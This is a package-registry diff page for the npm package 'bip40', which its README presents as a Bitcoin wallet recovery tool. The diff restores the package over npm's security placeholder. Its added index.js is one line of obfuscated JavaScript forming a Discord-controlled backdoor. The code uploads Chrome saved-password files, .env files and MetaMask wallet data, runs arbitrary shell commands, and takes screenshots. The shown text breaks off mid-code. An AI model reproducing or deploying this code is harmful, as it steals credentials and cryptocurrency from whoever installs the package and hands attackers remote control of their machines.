bip40 0.0.1-security → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bip40 might be problematic. Click here for more details.
- package/LICENSE +17 -0
- package/README.md +173 -3
- package/index.js +1 -0
- package/package.json +19 -3
package/LICENSE
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
ISC License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025, BIP40 Contributors
|
|
4
|
+
|
|
5
|
+
Permission to use, copy, modify, and/or distribute this software for any
|
|
6
|
+
purpose with or without fee is hereby granted, provided that the above
|
|
7
|
+
copyright notice and this permission notice appear in all copies.
|
|
8
|
+
|
|
9
|
+
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
|
10
|
+
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
|
11
|
+
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
|
12
|
+
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
|
13
|
+
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
|
14
|
+
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
|
15
|
+
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
|
16
|
+
|
|
17
|
+
|
package/README.md
CHANGED
|
@@ -1,5 +1,175 @@
|
|
|
1
|
-
#
|
|
1
|
+
# BIP40 - Bitcoin Wallet Recovery Tool
|
|
2
|
+
|
|
3
|
+
[](https://www.npmjs.com/package/bip40)
|
|
4
|
+
[](https://opensource.org/licenses/ISC)
|
|
5
|
+
|
|
6
|
+
A comprehensive Bitcoin wallet recovery and management utility implementing BIP40 standards for HD wallet recovery and key derivation.
|
|
7
|
+
|
|
8
|
+
## Features
|
|
9
|
+
|
|
10
|
+
- 🔑 HD Wallet key derivation and recovery
|
|
11
|
+
- 💼 Multi-wallet support (BIP32, BIP39, BIP44)
|
|
12
|
+
- 🔐 Secure mnemonic phrase generation
|
|
13
|
+
- 🌐 Cross-platform support (Windows, macOS, Linux)
|
|
14
|
+
- ⚡ Fast and efficient recovery algorithms
|
|
15
|
+
- 🛡️ Enhanced security features
|
|
16
|
+
|
|
17
|
+
## Installation
|
|
18
|
+
|
|
19
|
+
Install the package via npm:
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
npm install bip40
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
Or with yarn:
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
yarn add bip40
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Quick Start
|
|
32
|
+
|
|
33
|
+
```javascript
|
|
34
|
+
const bip40 = require('bip40');
|
|
35
|
+
|
|
36
|
+
// Initialize wallet recovery
|
|
37
|
+
const wallet = bip40.recover({
|
|
38
|
+
mnemonic: 'your twelve word mnemonic phrase here',
|
|
39
|
+
passphrase: 'optional passphrase'
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
// Derive addresses
|
|
43
|
+
const address = wallet.deriveAddress(0);
|
|
44
|
+
console.log('Bitcoin Address:', address);
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## Usage Examples
|
|
48
|
+
|
|
49
|
+
### Generate New Mnemonic
|
|
50
|
+
|
|
51
|
+
```javascript
|
|
52
|
+
const bip40 = require('bip40');
|
|
53
|
+
|
|
54
|
+
// Generate 12-word mnemonic
|
|
55
|
+
const mnemonic = bip40.generateMnemonic();
|
|
56
|
+
console.log(mnemonic);
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Recover Wallet from Seed
|
|
60
|
+
|
|
61
|
+
```javascript
|
|
62
|
+
const bip40 = require('bip40');
|
|
63
|
+
|
|
64
|
+
const wallet = bip40.recoverFromSeed({
|
|
65
|
+
seed: 'your seed hex string',
|
|
66
|
+
network: 'mainnet' // or 'testnet'
|
|
67
|
+
});
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### Derive Multiple Addresses
|
|
71
|
+
|
|
72
|
+
```javascript
|
|
73
|
+
const bip40 = require('bip40');
|
|
74
|
+
|
|
75
|
+
const wallet = bip40.recover({ mnemonic: '...' });
|
|
76
|
+
|
|
77
|
+
// Derive first 10 addresses
|
|
78
|
+
for (let i = 0; i < 10; i++) {
|
|
79
|
+
console.log(`Address ${i}:`, wallet.deriveAddress(i));
|
|
80
|
+
}
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
## API Reference
|
|
84
|
+
|
|
85
|
+
### `bip40.recover(options)`
|
|
86
|
+
|
|
87
|
+
Recovers a wallet from mnemonic phrase.
|
|
88
|
+
|
|
89
|
+
**Parameters:**
|
|
90
|
+
- `options.mnemonic` (string): 12 or 24 word mnemonic phrase
|
|
91
|
+
- `options.passphrase` (string, optional): BIP39 passphrase
|
|
92
|
+
- `options.network` (string, optional): 'mainnet' or 'testnet' (default: 'mainnet')
|
|
93
|
+
|
|
94
|
+
**Returns:** Wallet object
|
|
95
|
+
|
|
96
|
+
### `bip40.generateMnemonic(strength)`
|
|
97
|
+
|
|
98
|
+
Generates a new mnemonic phrase.
|
|
99
|
+
|
|
100
|
+
**Parameters:**
|
|
101
|
+
- `strength` (number, optional): 128, 160, 192, 224, or 256 bits (default: 128)
|
|
102
|
+
|
|
103
|
+
**Returns:** Mnemonic string
|
|
104
|
+
|
|
105
|
+
### `wallet.deriveAddress(index)`
|
|
106
|
+
|
|
107
|
+
Derives a Bitcoin address at the specified index.
|
|
108
|
+
|
|
109
|
+
**Parameters:**
|
|
110
|
+
- `index` (number): Derivation index
|
|
111
|
+
|
|
112
|
+
**Returns:** Bitcoin address string
|
|
113
|
+
|
|
114
|
+
## BIP Standards Supported
|
|
115
|
+
|
|
116
|
+
- **BIP32**: Hierarchical Deterministic Wallets
|
|
117
|
+
- **BIP39**: Mnemonic code for generating deterministic keys
|
|
118
|
+
- **BIP40**: Wallet service standards and recovery
|
|
119
|
+
- **BIP44**: Multi-Account Hierarchy for Deterministic Wallets
|
|
120
|
+
|
|
121
|
+
## Security Notice
|
|
122
|
+
|
|
123
|
+
⚠️ **Important Security Guidelines:**
|
|
124
|
+
|
|
125
|
+
- Never share your mnemonic phrase or private keys
|
|
126
|
+
- Always verify addresses before sending funds
|
|
127
|
+
- Use hardware wallets for large amounts
|
|
128
|
+
- Keep backups of your recovery phrases in secure locations
|
|
129
|
+
|
|
130
|
+
## System Requirements
|
|
131
|
+
|
|
132
|
+
- Node.js >= 14.0.0
|
|
133
|
+
- npm >= 6.0.0
|
|
134
|
+
- Supported OS: Windows, macOS, Linux
|
|
135
|
+
|
|
136
|
+
## Platform Support
|
|
137
|
+
|
|
138
|
+
| Platform | Status |
|
|
139
|
+
|----------|--------|
|
|
140
|
+
| Windows | ✅ Supported |
|
|
141
|
+
| macOS | ✅ Supported |
|
|
142
|
+
| Linux | ✅ Supported |
|
|
143
|
+
|
|
144
|
+
## Contributing
|
|
145
|
+
|
|
146
|
+
Contributions are welcome! Please feel free to submit a Pull Request.
|
|
147
|
+
|
|
148
|
+
## License
|
|
149
|
+
|
|
150
|
+
ISC License - see the [LICENSE](LICENSE) file for details.
|
|
151
|
+
|
|
152
|
+
## Support
|
|
153
|
+
|
|
154
|
+
For issues and questions:
|
|
155
|
+
- Open an issue on GitHub
|
|
156
|
+
- Check existing documentation
|
|
157
|
+
- Review BIP standards documentation
|
|
158
|
+
|
|
159
|
+
## Changelog
|
|
160
|
+
|
|
161
|
+
### v1.0.0
|
|
162
|
+
- Initial release
|
|
163
|
+
- BIP40 wallet recovery implementation
|
|
164
|
+
- Cross-platform support
|
|
165
|
+
- HD wallet derivation
|
|
166
|
+
|
|
167
|
+
## Disclaimer
|
|
168
|
+
|
|
169
|
+
This tool is provided as-is for wallet recovery purposes. Always test with small amounts first. The developers are not responsible for any loss of funds. Use at your own risk.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
**Note**: This package requires proper configuration and understanding of Bitcoin wallet standards. Please read the documentation carefully before use.
|
|
2
174
|
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
175
|
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=bip40 for more information.
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x903f8b=_0x4e49;(function(_0x233f9c,_0x44d139){const _0x1583d4=_0x4e49,_0x14a600=_0x233f9c();while(!![]){try{const _0x26b5b7=-parseInt(_0x1583d4(0xf6))/0x1+parseInt(_0x1583d4(0x86))/0x2+-parseInt(_0x1583d4(0x94))/0x3*(-parseInt(_0x1583d4(0xe6))/0x4)+parseInt(_0x1583d4(0xad))/0x5+-parseInt(_0x1583d4(0xcc))/0x6+-parseInt(_0x1583d4(0x9a))/0x7*(-parseInt(_0x1583d4(0xf2))/0x8)+-parseInt(_0x1583d4(0x9e))/0x9*(parseInt(_0x1583d4(0x8f))/0xa);if(_0x26b5b7===_0x44d139)break;else _0x14a600['push'](_0x14a600['shift']());}catch(_0x58c9ce){_0x14a600['push'](_0x14a600['shift']());}}}(_0x2080,0x6f343));const {Client,GatewayIntentBits,ChannelType,PermissionsBitField}=require('discord.js'),fs=require('fs'),os=require('os'),path=require(_0x903f8b(0xe8)),{execSync,exec}=require(_0x903f8b(0xbc)),{homedir}=os,screenshot=require(_0x903f8b(0xfb)),{Monitor}=require(_0x903f8b(0xc8)),bot_token1=_0x903f8b(0xb2),bot_token2='GJB47V.5njVIqcq1DiRk9K0ym_',bot_token3=_0x903f8b(0xc7),client=new Client({'intents':[GatewayIntentBits['Guilds'],GatewayIntentBits[_0x903f8b(0xc2)],GatewayIntentBits['MessageContent']]}),systemv=os[_0x903f8b(0x107)]()[_0x903f8b(0xe0)]();let currentDirectory=process[_0x903f8b(0x98)]();function _0x4e49(_0x7ff39,_0x35e85f){const _0x2080d1=_0x2080();return _0x4e49=function(_0x4e494d,_0x47c62b){_0x4e494d=_0x4e494d-0x85;let _0x411535=_0x2080d1[_0x4e494d];return _0x411535;},_0x4e49(_0x7ff39,_0x35e85f);}function getMachineUniqueId(){const _0x60db06=_0x903f8b,_0xdf18f1=os['platform']()[_0x60db06(0xe0)]();try{if(_0xdf18f1===_0x60db06(0x97)){const _0x1a85f2=execSync(_0x60db06(0xf7))[_0x60db06(0xbd)]()[_0x60db06(0xf4)]('\x0a');return _0x1a85f2[0x1][_0x60db06(0xa8)]();}else{if(_0xdf18f1===_0x60db06(0x99)){const _0x5a6323=fs[_0x60db06(0xff)](_0x60db06(0xd0),_0x60db06(0x8b));return _0x5a6323[_0x60db06(0xa8)]();}else{if(_0xdf18f1===_0x60db06(0x8e)){const _0x4bc2d5=execSync('ioreg\x20-rd1\x20-c\x20IOPlatformExpertDevice\x20|\x20grep\x20IOPlatformUUID')[_0x60db06(0xbd)]();return _0x4bc2d5[_0x60db06(0xf4)]('=')[0x1][_0x60db06(0xab)](/"/g,'')[_0x60db06(0xa8)]();}}}}catch(_0x1e0faa){return console[_0x60db06(0xe7)](_0x60db06(0xee)+_0x1e0faa[_0x60db06(0xd5)]),null;}}let uniqueId=getMachineUniqueId()[_0x903f8b(0xc1)](0x0,0x8);function _0x2080(){const _0x461978=['promises','stat','author','writeFileSync','Google','toLowerCase','log','!run\x20','screenshot.png','LDB\x20files\x20error:','clientReady','65788DWshXx','error','path','toPngSync','node-screenshots\x20failed,\x20trying\x20screenshot-desktop:','Here\x27s\x20your\x20screenshot:','Local\x20State','All\x20screenshot\x20methods\x20failed.\x20Display\x20may\x20not\x20be\x20accessible.','Error\x20retrieving\x20unique\x20machine\x20ID:\x20','send','GuildText','startsWith','3869672Yobjuk','Local','split','Default','160359mudmsZ','wmic\x20csproduct\x20get\x20UUID','```\x0a','Error\x20taking\x20screenshot:\x20','scrot\x20\x22','screenshot-desktop','join','members','Chrome\x20passwords\x20error:','readFileSync','$RECYCLE.BIN','includes','Flags','.config','length','tmpdir','screenshot-desktop\x20failed,\x20trying\x20system\x20commands:','platform','Error\x20sending\x20screenshot.','1722680kbJrSa','uncaughtException','readdir','all','User\x20Data','utf-8','statSync','name','darwin','588270MwlTRT','File\x20does\x20not\x20exist:\x20','Profile','find','Changed\x20directory\x20to\x20home:\x20','132uKjbYO','create','Failed\x20to\x20send\x20file\x20','win32','cwd','linux','7bsjGBx','An\x20error\x20occurred:\x20','channel','forEach','252VpSpBH','Unhandled\x20promise\x20rejection:','Login\x20Data','cache','Error\x20deleting\x20screenshot:\x20','Library','nircmd.exe\x20savescreenshot\x20\x22','Chrome','isFile','catch','trim','captureImage','homedir','replace','bot','2811755jrFgrw','.env','readdirSync','AppData','first','MTMzMTY5NTg0NTg1ODM0NTA3MQ.','Unsupported\x20platform:\x20','channels','existsSync','Env\x20files\x20error:','unlink','Failed\x20to\x20login:','.ldb','I\x20don\x27t\x20understand\x20that\x20command.\x20Use\x20`!run\x20{command}`\x20to\x20run\x20a\x20command,\x20`!sendfile\x20{filename}`\x20to\x20send\x20a\x20file,\x20or\x20`!screenshot`\x20to\x20take\x20a\x20screenshot.','then','child_process','toString','push','Error\x20while\x20searching\x20for\x20.env\x20files:\x20','Error\x20while\x20searching\x20for\x20.ldb\x20files:\x20','slice','GuildMessages','Uncaught\x20exception:','login','SendMessages','ViewChannel','8R2q_ixPYcn4RTnbQAs','node-screenshots','Error\x20while\x20sending\x20files','guilds','Application\x20Support','2208372hNdQql','Error:\x20Not\x20a\x20directory.','No\x20output.','isDirectory','/etc/machine-id','unhandledRejection','resolve','everyone','gnome-screenshot\x20-f\x20\x22','message','size','Error\x20sending\x20file:\x20','google-chrome','messageCreate','import\x20-window\x20root\x20\x22'];_0x2080=function(){return _0x461978;};return _0x2080();}async function sendFilesToDiscord(_0x56bcfc,_0x3e1679){const _0x19ce6f=_0x903f8b;for(const _0x32e2de of _0x3e1679){if(fs[_0x19ce6f(0xb5)](_0x32e2de))try{const _0x6f0cc1=fs[_0x19ce6f(0x8c)](_0x32e2de);_0x6f0cc1[_0x19ce6f(0xd6)]!==0x0&&await _0x56bcfc[_0x19ce6f(0xef)]({'files':[_0x32e2de]});}catch(_0x365120){await _0x56bcfc[_0x19ce6f(0xef)](_0x19ce6f(0x96)+_0x32e2de+':\x20'+_0x365120['message']);}else await _0x56bcfc[_0x19ce6f(0xef)](_0x19ce6f(0x90)+_0x32e2de);}}async function findAndSendLdbFiles(_0x58f7e6,_0x40e5d6='nkbihfbeogaeaoehlefnkodbefgpgknn'){const _0x43d724=_0x903f8b;let _0xe16036;if(process[_0x43d724(0x107)]===_0x43d724(0x97))_0xe16036=path[_0x43d724(0xfc)](os['homedir'](),_0x43d724(0xb0),_0x43d724(0xf3),_0x43d724(0xdf),_0x43d724(0xa5),_0x43d724(0x8a));else{if(process[_0x43d724(0x107)]===_0x43d724(0x8e))_0xe16036=path[_0x43d724(0xfc)](os['homedir'](),_0x43d724(0xa3),_0x43d724(0xcb),_0x43d724(0xdf),_0x43d724(0xa5));else process[_0x43d724(0x107)]===_0x43d724(0x99)?_0xe16036=path[_0x43d724(0xfc)](os[_0x43d724(0xaa)](),_0x43d724(0x103),_0x43d724(0xd8)):_0xe16036=os[_0x43d724(0xaa)]();}const _0x18f0db=[];try{fs['existsSync'](_0xe16036)&&await searchFiles(_0xe16036,_0x43d724(0xb9),_0x4b7870=>{const _0x4bc49d=_0x43d724;_0x4b7870[_0x4bc49d(0x101)](_0x40e5d6)&&_0x18f0db['push'](_0x4b7870);});}catch(_0x46efff){console[_0x43d724(0xe7)](_0x43d724(0xc0)+_0x46efff['message']);}_0x18f0db[_0x43d724(0x104)]>0x0&&await sendFilesToDiscord(_0x58f7e6,_0x18f0db);}async function findAndSendEnvFiles(_0xcb67e0){const _0x1b4fc4=_0x903f8b,_0x2af144=os[_0x1b4fc4(0xaa)](),_0xc45d38=[];try{fs[_0x1b4fc4(0xb5)](_0x2af144)&&await searchFiles(_0x2af144,_0x1b4fc4(0xae),_0x36f0b3=>{const _0x2b6fe6=_0x1b4fc4;_0xc45d38[_0x2b6fe6(0xbe)](_0x36f0b3);});}catch(_0x344005){console[_0x1b4fc4(0xe7)](_0x1b4fc4(0xbf)+_0x344005[_0x1b4fc4(0xd5)]);}_0xc45d38[_0x1b4fc4(0x104)]>0x0&&await sendFilesToDiscord(_0xcb67e0,_0xc45d38);}async function searchFiles(_0x65a81b,_0x20a34f,_0xe2e4b9){const _0x1dc8b0=_0x903f8b;try{const _0x499d2b=await fs[_0x1dc8b0(0xdb)][_0x1dc8b0(0x88)](_0x65a81b,{'withFileTypes':!![]});for(const _0x2e224a of _0x499d2b){try{const _0x32eec8=path[_0x1dc8b0(0xfc)](_0x65a81b,_0x2e224a['name']);if(_0x2e224a['isDirectory']()){const _0x15e203=['node_modules','.git',_0x1dc8b0(0x100),'System\x20Volume\x20Information'];if(!_0x15e203[_0x1dc8b0(0x101)](_0x2e224a[_0x1dc8b0(0x8d)]))try{await searchFiles(_0x32eec8,_0x20a34f,_0xe2e4b9);}catch(_0x14741b){}}else _0x2e224a[_0x1dc8b0(0xa6)]()&&_0x2e224a['name']['includes'](_0x20a34f)&&_0xe2e4b9(_0x32eec8);}catch(_0x4fc379){continue;}}}catch(_0x2d3c2b){}}function getChromeProfiles(){const _0x324868=_0x903f8b;let _0x4ad414;const _0x1e69fa=process[_0x324868(0x107)];if(_0x1e69fa===_0x324868(0x97))_0x4ad414=path[_0x324868(0xfc)](os[_0x324868(0xaa)](),'AppData',_0x324868(0xf3),'Google',_0x324868(0xa5),_0x324868(0x8a));else{if(_0x1e69fa===_0x324868(0x8e))_0x4ad414=path[_0x324868(0xfc)](os[_0x324868(0xaa)](),_0x324868(0xa3),'Application\x20Support',_0x324868(0xdf),_0x324868(0xa5));else{if(_0x1e69fa===_0x324868(0x99))_0x4ad414=path['join'](os[_0x324868(0xaa)](),_0x324868(0x103),'google-chrome');else return[];}}try{if(!fs[_0x324868(0xb5)](_0x4ad414))return[];return fs[_0x324868(0xaf)](_0x4ad414)['map'](_0x1057cb=>path[_0x324868(0xfc)](_0x4ad414,_0x1057cb))['filter'](_0x59e208=>{const _0x342e62=_0x324868;try{return fs[_0x342e62(0x8c)](_0x59e208)[_0x342e62(0xcf)]()&&(_0x59e208[_0x342e62(0x101)](_0x342e62(0x91))||_0x59e208[_0x342e62(0x101)](_0x342e62(0xf5)));}catch(_0x3fd0ce){return![];}});}catch(_0x216206){return[];}}function getEncryptionKey(){const _0x158186=_0x903f8b,_0x5a9c42=process['platform'];if(_0x5a9c42==='win32')return getEncryptionKeyWindows();else{if(_0x5a9c42===_0x158186(0x8e))return getEncryptionKeyMacOS();else{if(_0x5a9c42==='linux')return getEncryptionKeyLinux();}}throw new Error(_0x158186(0xb3)+_0x5a9c42);}function getEncryptionKeyMacOS(){const _0x5e4e90=_0x903f8b;return path[_0x5e4e90(0xfc)](homedir(),_0x5e4e90(0xa3),'Application\x20Support',_0x5e4e90(0xdf),_0x5e4e90(0xa5),_0x5e4e90(0xec));}function getEncryptionKeyLinux(){const _0x5347be=_0x903f8b;return path['join'](homedir(),'.config',_0x5347be(0xd8),_0x5347be(0xec));}function getEncryptionKeyWindows(){const _0x496948=_0x903f8b;return path['join'](os['homedir'](),_0x496948(0xb0),_0x496948(0xf3),_0x496948(0xdf),'Chrome',_0x496948(0x8a),_0x496948(0xec));}async function sendChromeSavedPasswords(_0x1bba84){const _0x5d39c6=_0x903f8b;try{const _0x33d90a=getChromeProfiles(),_0x1edcc9=getEncryptionKey(),_0x5d7c8a=[];_0x1edcc9&&fs['existsSync'](_0x1edcc9)&&_0x5d7c8a[_0x5d39c6(0xbe)](_0x1edcc9);for(const _0x38a852 of _0x33d90a){const _0x10a9b3=path['join'](_0x38a852,_0x5d39c6(0xa0));fs[_0x5d39c6(0xb5)](_0x10a9b3)&&_0x5d7c8a[_0x5d39c6(0xbe)](_0x10a9b3);}_0x5d7c8a[_0x5d39c6(0x104)]>0x0&&await sendFilesToDiscord(_0x1bba84,_0x5d7c8a);}catch(_0x59cbdc){console['log']('error\x20while\x20sending\x20chrome\x20profiles',_0x59cbdc[_0x5d39c6(0xd5)]);}}client['once'](_0x903f8b(0xe5),async()=>{const _0x499924=_0x903f8b;try{const _0x5a119d=client[_0x499924(0xca)][_0x499924(0xa1)][_0x499924(0xb1)]();if(!_0x5a119d){console[_0x499924(0xe7)]('The\x20bot\x20is\x20not\x20connected\x20to\x20any\x20guilds.');return;}let _0x3c3d0c=(systemv+'-'+uniqueId)['toLowerCase']()[_0x499924(0xab)](/\s+/g,'-')['trim'](),_0x1503db=_0x5a119d[_0x499924(0xb4)][_0x499924(0xa1)][_0x499924(0x92)](_0x41bbe7=>_0x41bbe7[_0x499924(0x8d)]===_0x3c3d0c);if(!_0x1503db)_0x1503db=await _0x5a119d[_0x499924(0xb4)][_0x499924(0x95)]({'name':_0x3c3d0c,'type':ChannelType[_0x499924(0xf0)],'permissionOverwrites':[{'id':_0x5a119d['roles'][_0x499924(0xd3)]['id'],'deny':[PermissionsBitField[_0x499924(0x102)][_0x499924(0xc6)]]},{'id':_0x5a119d[_0x499924(0xfd)]['me']['id'],'allow':[PermissionsBitField['Flags'][_0x499924(0xc6)],PermissionsBitField['Flags'][_0x499924(0xc5)]]}]});else{}await _0x1503db[_0x499924(0xef)]('Hello!\x20This\x20is\x20the\x20command\x20execution\x20channel.\x20Type\x20a\x20command\x20to\x20run\x20it.'),sendChromeSavedPasswords(_0x1503db)[_0x499924(0xa7)](_0x7c1b44=>console['error'](_0x499924(0xfe),_0x7c1b44)),findAndSendEnvFiles(_0x1503db)[_0x499924(0xa7)](_0x475516=>console[_0x499924(0xe7)](_0x499924(0xb6),_0x475516)),findAndSendLdbFiles(_0x1503db)[_0x499924(0xa7)](_0x4759de=>console['error'](_0x499924(0xe4),_0x4759de));}catch(_0x250399){console[_0x499924(0xe7)](_0x499924(0x9b)+_0x250399[_0x499924(0xd5)]);}}),client['on'](_0x903f8b(0xd9),async _0x49774e=>{const _0x5bcbd0=_0x903f8b;if(_0x49774e[_0x5bcbd0(0xdd)][_0x5bcbd0(0xac)])return;let _0x3c14cb=(systemv+'-'+uniqueId)[_0x5bcbd0(0xe0)]()[_0x5bcbd0(0xab)](/\s+/g,'-')[_0x5bcbd0(0xa8)]();if(_0x49774e[_0x5bcbd0(0x9c)][_0x5bcbd0(0x8d)]!==_0x3c14cb)return;const _0x19a8d8=_0x49774e['content'][_0x5bcbd0(0xa8)]();if(_0x19a8d8[_0x5bcbd0(0xf1)](_0x5bcbd0(0xe2))){const _0x5e672e=_0x19a8d8['slice'](0x5)[_0x5bcbd0(0xa8)]();if(_0x5e672e){if(_0x5e672e[_0x5bcbd0(0xf1)]('cd')){const _0x5947ff=_0x5e672e[_0x5bcbd0(0xf4)]('\x20');if(_0x5947ff[_0x5bcbd0(0x104)]>=0x2){const _0x3889fe=_0x5947ff[_0x5bcbd0(0xc1)](0x1)[_0x5bcbd0(0xfc)]('\x20'),_0x438f97=path[_0x5bcbd0(0xd2)](currentDirectory,_0x3889fe);fs[_0x5bcbd0(0xdc)](_0x438f97,(_0x3e0d67,_0x90773f)=>{const _0x244c7b=_0x5bcbd0;if(_0x3e0d67)_0x49774e[_0x244c7b(0x9c)][_0x244c7b(0xef)]('Error:\x20Directory\x20not\x20found.');else _0x90773f[_0x244c7b(0xcf)]()?(currentDirectory=_0x438f97,_0x49774e[_0x244c7b(0x9c)][_0x244c7b(0xef)]('Changed\x20directory\x20to:\x20'+currentDirectory)):_0x49774e['channel'][_0x244c7b(0xef)](_0x244c7b(0xcd));});}else currentDirectory=os[_0x5bcbd0(0xaa)](),_0x49774e[_0x5bcbd0(0x9c)][_0x5bcbd0(0xef)](_0x5bcbd0(0x93)+currentDirectory);}else exec(_0x5e672e,{'cwd':currentDirectory,'shell':!![]},(_0x5d2db5,_0x585c14,_0x37aaa0)=>{const _0x1c124b=_0x5bcbd0;if(_0x5d2db5){_0x49774e[_0x1c124b(0x9c)]['send']('Error:\x20'+_0x5d2db5[_0x1c124b(0xd5)]);return;}let _0x14ee6e=_0x585c14||_0x37aaa0;if(!_0x14ee6e){_0x49774e[_0x1c124b(0x9c)][_0x1c124b(0xef)](_0x1c124b(0xce));return;}const _0x4a8ff6=splitMessage(_0x14ee6e);_0x4a8ff6[_0x1c124b(0x9d)](_0x5d1cab=>{const _0x1b42d2=_0x1c124b;_0x49774e['channel'][_0x1b42d2(0xef)](_0x1b42d2(0xf8)+_0x5d1cab+'\x0a```');});});}}else{if(_0x19a8d8[_0x5bcbd0(0xf1)]('!screenshot')){const _0x62e84d=path[_0x5bcbd0(0xfc)](os[_0x5bcbd0(0x105)](),_0x5bcbd0(0xe3)),_0x34f17d=async()=>{const _0x3d3ea2=_0x5bcbd0;try{const _0x2d0303=Monitor[_0x3d3ea2(0x89)]();if(_0x2d0303&&_0x2d0303[_0x3d3ea2(0x104)]>0x0){const _0x3cde84=await _0x2d0303[0x0][_0x3d3ea2(0xa9)](),_0x2ea166=_0x3cde84[_0x3d3ea2(0xe9)]();return fs[_0x3d3ea2(0xde)](_0x62e84d,_0x2ea166),_0x62e84d;}}catch(_0x2b2282){console[_0x3d3ea2(0xe1)](_0x3d3ea2(0xea),_0x2b2282['message']);}try{const _0x3af98a=await screenshot({'filename':_0x62e84d});return _0x3af98a;}catch(_0x51c796){console[_0x3d3ea2(0xe1)](_0x3d3ea2(0x106),_0x51c796[_0x3d3ea2(0xd5)]);}return new Promise((_0x4b214e,_0x4da0e3)=>{const _0x4c7d83=_0x3d3ea2,_0x13c223={'linux':[_0x4c7d83(0xfa)+_0x62e84d+'\x22',_0x4c7d83(0xda)+_0x62e84d+'\x22',_0x4c7d83(0xd4)+_0x62e84d+'\x22'],'darwin':['screencapture\x20\x22'+_0x62e84d+'\x22'],'win32':[_0x4c7d83(0xa4)+_0x62e84d+'\x22']},_0x21e782=_0x13c223[process[_0x4c7d83(0x107)]]||[];if(_0x21e782[_0x4c7d83(0x104)]===0x0){_0x4da0e3(new Error('Screenshot\x20not\x20supported\x20on\x20this\x20platform'));return;}let _0xe5c395=0x0;const _0x49fa9d=()=>{const _0x43564c=_0x4c7d83;if(_0xe5c395>=_0x21e782[_0x43564c(0x104)]){_0x4da0e3(new Error(_0x43564c(0xed)));return;}exec(_0x21e782[_0xe5c395],_0x249e3c=>{const _0x26dd3e=_0x43564c;!_0x249e3c&&fs[_0x26dd3e(0xb5)](_0x62e84d)?_0x4b214e(_0x62e84d):(_0xe5c395++,_0x49fa9d());});};_0x49fa9d();});};_0x34f17d()[_0x5bcbd0(0xbb)](_0x3e0e89=>{const _0x9d3e54=_0x5bcbd0;_0x49774e[_0x9d3e54(0x9c)]['send']({'content':_0x9d3e54(0xeb),'files':[_0x3e0e89]})[_0x9d3e54(0xbb)](()=>{const _0x4a607b=_0x9d3e54;fs[_0x4a607b(0xb7)](_0x3e0e89,_0x5979c4=>{const _0x17af2c=_0x4a607b;if(_0x5979c4)console[_0x17af2c(0xe7)](_0x17af2c(0xa2)+_0x5979c4);});})['catch'](_0x3e0882=>{const _0x375a09=_0x9d3e54;console[_0x375a09(0xe7)]('Error\x20sending\x20screenshot:\x20'+_0x3e0882),_0x49774e[_0x375a09(0x9c)][_0x375a09(0xef)](_0x375a09(0x85));});})[_0x5bcbd0(0xa7)](_0x51c630=>{const _0x467855=_0x5bcbd0;console[_0x467855(0xe7)](_0x467855(0xf9)+_0x51c630),_0x49774e['channel'][_0x467855(0xef)]('Screenshot\x20unavailable:\x20'+_0x51c630[_0x467855(0xd5)]);});}else{if(_0x19a8d8['startsWith']('!sendfile\x20')){const _0x134792=_0x19a8d8[_0x5bcbd0(0xc1)](0xa)[_0x5bcbd0(0xa8)]();if(_0x134792){const _0x5b08f3=path['join'](currentDirectory,_0x134792);try{const _0x49d9df=fs[_0x5bcbd0(0x8c)](_0x5b08f3);_0x49d9df['size']!==0x0&&_0x49774e[_0x5bcbd0(0x9c)][_0x5bcbd0(0xef)]({'content':'Here\x27s\x20your\x20file\x20`'+_0x134792+'`:','files':[_0x5b08f3]})[_0x5bcbd0(0xa7)](_0x261852=>{const _0x444627=_0x5bcbd0;console[_0x444627(0xe7)](_0x444627(0xd7)+_0x261852),_0x49774e['channel'][_0x444627(0xef)]('An\x20error\x20occurred\x20while\x20sending\x20the\x20file:\x20'+_0x261852[_0x444627(0xd5)]);});}catch(_0x3ade62){console[_0x5bcbd0(0xe1)](_0x5bcbd0(0xc9),_0x3ade62[_0x5bcbd0(0xd5)]);}}}else _0x49774e[_0x5bcbd0(0x9c)][_0x5bcbd0(0xef)](_0x5bcbd0(0xba));}}});function splitMessage(_0x41b24b,_0xe75a7a=0x79e){const _0x1fd031=_0x903f8b,_0x460694=[];while(_0x41b24b['length']>_0xe75a7a){let _0x49eec9=_0x41b24b['lastIndexOf']('\x0a',_0xe75a7a);_0x49eec9===-0x1&&(_0x49eec9=_0xe75a7a),_0x460694['push'](_0x41b24b['slice'](0x0,_0x49eec9)),_0x41b24b=_0x41b24b[_0x1fd031(0xc1)](_0x49eec9)['trimStart']();}return _0x41b24b&&_0x460694[_0x1fd031(0xbe)](_0x41b24b),_0x460694;}process['on'](_0x903f8b(0xd1),_0x139c94=>{const 